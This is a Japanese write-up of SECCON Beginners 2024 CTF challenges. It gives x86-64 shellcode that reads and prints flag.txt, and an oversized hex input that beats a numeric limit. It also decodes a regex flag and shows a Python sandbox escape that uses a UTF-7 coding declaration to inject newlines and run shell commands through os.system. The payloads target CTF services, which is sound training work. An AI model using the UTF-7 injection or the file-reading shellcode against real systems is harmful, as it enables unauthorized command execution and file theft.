LoginSignup
0
0

ctf4b 2024

チームとして参加して 1167pts, 39位で終了しました。
result.png
このうち私がチーム内で解くのに関わった( not 私が一人で解いた)問題についてだけのwriteupです。


[reversing] assemble

アセンブラを書くシンプルな問題。
小問が4つあって全て解くと flag が出てくるが、mov, push, syscallしか使えないことと、25行以内の制約がある。


解法

  1. Please write 0x123 to RAX!
    mov rax, 0x123
    
  2. Please write 0x123 to RAX and push it on stack!
    mov rax, 0x123
    push rax
    
  3. Please use syscall to print Hello on stdout!
    mov rax, 0x6f6c6c6548
    push rax
    mov rax, 1
    mov rsi, rsp
    mov rdi, 1
    mov rdx, 5
    syscall
    
    最初は直接 push 0x6f なり試してたけど意図通り動かない…
  4. Please read flag.txt file and print it to stdout!
    ChatGPTに聞いたら割とすんなり教えてくれたので若干手直しして作成。
    mov rax, 0x0000000000007478  # tx
    push rax
    mov rax, 0x742e67616c662f2e  # t.galf/.
    push rax
    mov rdi, rsp                 # rdi = address of './flag.txt'
    mov rax, 2                   # sys_open
    mov rsi, 0                   # rsi = 0 (O_RDONLY)
    syscall
    mov rcx, rax                 # save file descriptor in rcx
    mov rax, 0                   # sys_read
    mov rdi, rcx                 # file descriptor
    mov rsi, rsp                 # buffer to read into (rsp)
    mov rdx, 0x34                # number of bytes to read
    syscall
    mov rbx, rax                 # save number of bytes read in rbx
    mov rax, 1                   # sys_write
    mov rdi, 1                   # file descriptor (stdout)
    mov rsi, rsp                 # buffer to write from (rsp)
    mov rdx, rbx                 # number of bytes to write
    syscall
    
    セミコロン;が使えないようなのでコメントは#で。

[misc] getRank

ソースコードを見る限りHTTPリクエストのinputの値を10^255より大きくすれば良さそう。
ただし300桁(文字数)を超える入力とは弾かれるのと、10^255より大きい値を入れたら10で割る演算を100回繰り返し適用されるらしい。


解法

単純に考えれば999..(300桁)..999とかを入れたいが割られてしまう。
なので0xFFF..(298桁)..FFFを入れて割られても十分なくらい大きな値にする。


[misc] clamre

ファイルをダウンロードするとflagが書いてあるファイルがあるのでいい感じに読む。


解法

/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

この正規表現を読む。最初数文字\x63\x74\x66はHexStringでctfになるのでおそらくこれはflagであるだろうと確信を持つ。
HexStringと\{\}の部分を直して

((ctf)(4)(b)({B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)})

\Nは最初からN番目のかっこ()(最初は0じゃなくて1番目、例えば(ctf)のかっこは2番目)と同じ値の再代入。例えば最初の\3は3番目の()である4が入る。
あとは代入して()を消す。


[misc] commentator

pythonコードを1行ずつインタラクティブに書くが、各行の最初に必ず#が追加されてしまう。
最終的にサーバ内のflagファイルを見ることができれば勝ち。

問題(抜粋)

python = ""
while True:
    line = input(">>> ").replace("\r", "")
    if "__EOF__" in line:
        python += 'print("thx :)")'
        break
    python += f"# {line}\n"  # comment :)

pyfile = f"/tmp/{uuid.uuid4()}.py"
with open(pyfile, "w") as f:
    f.write(python)

os.system(f"python {pyfile}")
os.remove(pyfile)

こんなプログラムが動いているサーバでの問題。
python += f"# {line}\n" # comment :)の部分で行頭に#が追加されてしまうので回避したい。


解法

どうにかして改行コードを入れたいなぁという方向で考える。
色々あるようだが Python ファイルの最初の見慣れたやつをいい感じにする。

通常では改行すると入力が一旦区切られてしまうので、utf7を使って改行コードを入れることができる。
変換ツール↓を使うと速い気がする。

-*- coding: utf_7 -*-
+AAo-import+ACA-os
+AAo-os.system('ls+ACA--la+ACA-..')
__EOF__

この入力で内部のpythonファイルは

# -*- coding: utf_7 -*-
# 
import os
# 
os.system('ls -la ..')
print("thx :)")

こんな感じになる。
これでファイルのパスがわかるので、あとは同様の方法でcatによってflagを得る。
UTF-7はXSSとかにも使えてなにかと便利。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0